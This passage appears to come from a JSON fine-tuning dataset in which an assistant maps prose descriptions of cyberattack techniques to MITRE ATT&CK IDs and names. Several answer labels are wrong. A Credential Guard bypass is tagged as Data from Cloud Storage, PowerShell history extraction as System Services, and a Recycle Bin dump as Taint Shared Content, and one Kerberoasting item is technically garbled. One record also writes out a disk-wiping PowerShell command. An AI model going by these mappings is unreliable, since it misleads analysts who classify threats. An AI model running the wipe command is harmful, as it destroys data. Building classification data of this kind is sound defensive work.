                "content": "Malicious scripts on compromised websites scrape visitor pages for email address fields and send the data to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining the victim’s SSH private key, the attacker replays the session to gain persistent access without triggering authentication."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a forged digital certificate to sign malicious executables, bypassing security checks during initial download."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group leverages the NtQueueApcThread API to place malicious code into the memory of a legitimate service."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses credentials obtained from one system to log into another system within the same network, moving laterally in an attempt to find sensitive data or disrupt operations."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A browser extension is installed silently and monitors key events on web pages to harvest passwords and credit card numbers entered by the user."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email leads to a victim running a script that queries the cloud instance metadata API, leaking credentials to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker updates the local administrator password on compromised Windows machines to retain access after a reboot."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts domain group membership information via LDAP queries."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a removable media device to transfer a staged phishing email template to a compromised machine, facilitating a credential harvesting campaign."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries open CDN query tools to retrieve resource URLs and associated origin server details of the target site."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking an XPC service, the attacker triggers the execution of a malicious script that modifies system configuration files."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker launches a malicious process but modifies the command-line arguments shown in the process list to mimic a legitimate system utility, disguising the true activity."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A covert LSASS driver is added to the system's driver store and set to load on logon for persistent execution."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary harvests login credentials from unencrypted chat logs stored on a compromised file server."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary drops a .vbs file on the target system and runs it to execute PowerShell commands via Windows Script Host."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised management workstation, the threat actor pushed a configuration script that switched the network switch's RADIUS authentication to use a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs command substitution with delayed variable expansion to hide the final command string."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware runs a traceroute to external hosts and analyzes hop latency to estimate the host's location."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the CoCreateInstance API to instantiate a COM object in a trusted process, facilitating command and control communication."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a temporary directory in the system's temporary files area to stage data before using a separate channel to exfiltrate."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code generates a public‑key encrypted archive of credential files and exfiltrates it via a standard WebDAV connection to an external host."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script copies database backups to a local staging directory before encrypting them."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor writes a VBScript to disk that enumerates network shares and sends the list to a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts stored credentials from browsers and then authenticates to cloud services as the legitimate user."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit targets the Windows Credential Guard to bypass protections and extract credentials."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a breach, attackers scrape Zoom chat transcripts for shared credentials and authentication codes."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged a compromised service principal in Azure AD to request additional permissions and pivot to other services."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects BPF socket filter rules to hide network communication of a backdoor, bypassing host-based intrusion detection systems."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team conducts a Kerberoasting attack by locating service principal names, requesting the associated tickets, and cracking the ticket's RSA encrypted part to retrieve the password."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware loads a malicious DLL into a running explorer.exe process using the Windows API LoadLibrary to execute its payload."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employed the Win32 API function ClearEventLogW to purge all Windows event logs remotely."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary mined a hidden forum for ex‑employees to collect insider knowledge about the target's security policies."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor employs Linux's ptrace interface to inject a shared library into a trusted daemon."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates password complexity requirements by querying the domain's Group Policy objects via LDAP."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators used a software packing technique to compress and encrypt the malicious executable, making static analysis difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a charitable organization’s donation page, embedding a drive‑by exploit that silently installs a remote access trojan on any donor’s computer."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies Windows socket filter configurations to intercept and forward outbound traffic to a C2 server, enabling stealthy data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a credential dumping tool, the threat actor extracts the signing certificate and private key from a compromised server to impersonate legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects malicious CSS into a user profile page, enabling data leakage via CSS exfiltration techniques."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A reconnaissance module in the ransomware uses the Python library 'scapy' to passively sniff Wi‑Fi beacon frames and compile a list of discovered SSIDs."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uploads a PowerShell backdoor to a rented VPS, then uses the server to download additional payloads into the target environment."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged the Linux 'wipe' tool to securely delete log files."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers acquire zero‑day exploit code on underground markets and deploy it to compromise target servers."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing campaign targeted Azure users, capturing MFA tokens via a fake login portal, enabling the attacker to bypass multi‑factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs a cross-site scripting (XSS) attack to steal the user's session cookie via JavaScript and subsequently uses the cookie to impersonate the user on the target site."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension is used to hijack input on a government services portal, harvesting citizens’ personal data."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script extracts recent PowerShell command history from the console history file."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware component drops a rogue DLL into the system32 directory, hijacking the network authentication process."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals leverage public bug bounty platforms to locate disclosed vulnerabilities that could be weaponized against the target organization."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan stages exfiltrated files in a hidden subdirectory of the user’s AppData before compressing them."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use at(1) to schedule a script that sends collected credentials to a remote HTTP endpoint every night."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged the command interpreter to run \"schtasks\" commands, creating scheduled tasks for persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider removes backups from the backup server, making recovery impossible after an attack."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables logging services by editing systemd unit files to prevent them from starting."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends small forged packets to vulnerable CoAP devices, which then send large responses to the victim, causing a denial of service through amplification."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor concealed a malicious executable within the resource section of a legitimate Windows PE file, using encryption to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group employs Kerberoasting, requesting service tickets for accounts with SPNs and then cracking the tickets offline to compromise domain service accounts."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker attempts to evade detection by using code obfuscation techniques, what is the relevant MITRE ATT&CK ID and Name?"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploited an outdated WordPress plugin to inject malicious HTML code, resulting in the visible alteration of the company's landing page."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder updates Group Policy to enforce a custom password expiration period, weakening password rotation practices."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries monitor the frequency of press releases and corporate announcements to gauge the target’s operational rhythm."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the cleanup phase, the threat actor runs a PowerShell command that calls `Remove-Item -Path C:\\* -Recurse -Force` followed by `Clear-Disk -Number 0 -RemoveData`."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor used a rogue certificate authority to issue code signing certificates for unsigned malware."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script extracts a bearer token from a mobile app's memory and uses it to call protected APIs."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy keylogging module monitors user input in real time, storing the captured credentials in an encrypted SQLite database on the local machine."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor leveraged cloud CLI commands to snapshot a target GCP Compute Engine instance."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group sets up a DNS service that swaps out the resolved IPs for a malicious domain every few minutes, ensuring resilience against takedown."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use the PowerShell cmdlet \"Get-NetTCPConnection\" to discover active TCP connections and remote endpoints."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker's payload contains filler bytes that serve no functional purpose but increase file entropy."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group extracts a private key from a misconfigured build server and signs malicious binaries, subverting the trust controls that rely on code signatures."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential-stealing trojan monitors GUI controls by attaching to the target process and capturing input events from text boxes and password fields."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a phishing campaign to embed a command that adds an Outlook rule which silently starts a reverse shell when new mail is delivered."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor hijacks a VPS by performing a supply chain attack on the underlying OS image, inserting a hidden trojan."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a PowerShell command to dump the contents of the Recycle Bin."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was distributed as a .docx file but actually contained a hidden .scr executable, masquerading the file type to bypass email filters."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
